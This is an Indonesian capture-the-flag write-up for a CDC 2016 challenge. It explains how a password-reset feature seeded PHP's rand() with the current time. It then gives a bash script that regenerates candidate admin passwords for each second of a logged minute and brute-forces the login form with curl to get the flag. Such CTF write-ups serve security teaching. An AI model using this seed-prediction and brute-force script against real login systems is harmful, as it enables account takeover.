19 November 2016 - 03:40:48 - Read: 484

Writeups CDC 2016 - FortogPassrowd

Pada task ini kita diminta untuk membantu mengembalikan hak akses sebuah website di alamat http://62.4.3.125

Dengan clue sebuah logs di alamat http://62.4.3.125:5555/logs

Pertama kita coba dulu fitur-fitur yang ada didalam website tersebut.

Login --skip-- karena belum punya akun, kita register terlebih dahulu.

Register > "username:nope passowrd:nope" setelah berhasil register, terdapat menu Logout.  What the frog. Website macam apa ini habis login trus isinya cuma logout? :D

Baiklah, kita coba logout. Lalu ke fitur berikutnya.

Forget Password > fitur ini digunakan jika kita lupa password login. Euhm, mari kita pura-pura lupa password :)

Password baru anda: 1908210500
Password ini digenerate menggunakan seed random int time; dengan random void empty

Coba login kembali pake password hasil reset "nope:1908210500". Masuk. Trus ngapain ini? Eh, lupa ada logs. Intip logs:

2016-11-18 18:15 nope registered
2016-11-18 18:18 nope reset password


Berarti setiap user yang register dan melakukan reset password masuk kedalam logs. Mari kita cari punya admin.

2016-11-11 00:15 admin reset password

Ada. Berarti ke clue selanjutnya:

Password ini digenerate menggunakan seed random int time; dengan random void empty. Kalo di codingkan semacam

srand(time); rand();

 Nah, mulai keliatan bugsnya. Fungsi rand() mengenerate pseudo-random number.

http://php.net/manual/en/function.rand.php

If called without the optional min, max arguments rand() returns a pseudo-random integer between 0 and getrandmax().

Dan untuk srand(), kita bisa memberikan nilai static. http://php.net/manual/en/function.srand.php#10953

Dalam kasus ini, nilai parameter yang diberikan untuk srand() adalah time(). Berarti cukup dengan mengetahui kapan admin melakukan "reset password" kita bisa mendapatkan nilai random yang mana nilai random tersebut juga sebagai passwordnya.

Karena kita hanya mengetahui tanggal, jam dan menit 2016-11-11 00:15 saat admin melakukan "reset" password, berarti kita tinggal mem-brute detiknya. Range 0-59. Karena hasilnya nanti juga berupa password, berarti sekalian saja kita kirimkan hasil tersebut sebagai POST untuk melakukan login dialamat http://62.4.3.125:5555/signing.php

Code untuk bruteforce:

#!/bin/bash
c=10
d="201611110015"
for ((a=0; a<60; a++))
do
	if [[ "$a" -lt "$c" ]]; then
		b='0'$a
	else
		b=$a
	fi
	p=$(php -r "srand(strtotime('$d'.'$b'));echo rand();")
	html=$(curl http://62.4.3.125:5555/signing.php \
	-d "username=admin&password=$p" \
	-L -c cookie -s | grep -oP "CDC2016\{[a-z]+\}$")
	if [ "$html" != '' ]; then
		echo $html
		exit
	fi
done

Done.

Flag: CDC2016{butbrutbruttbrute}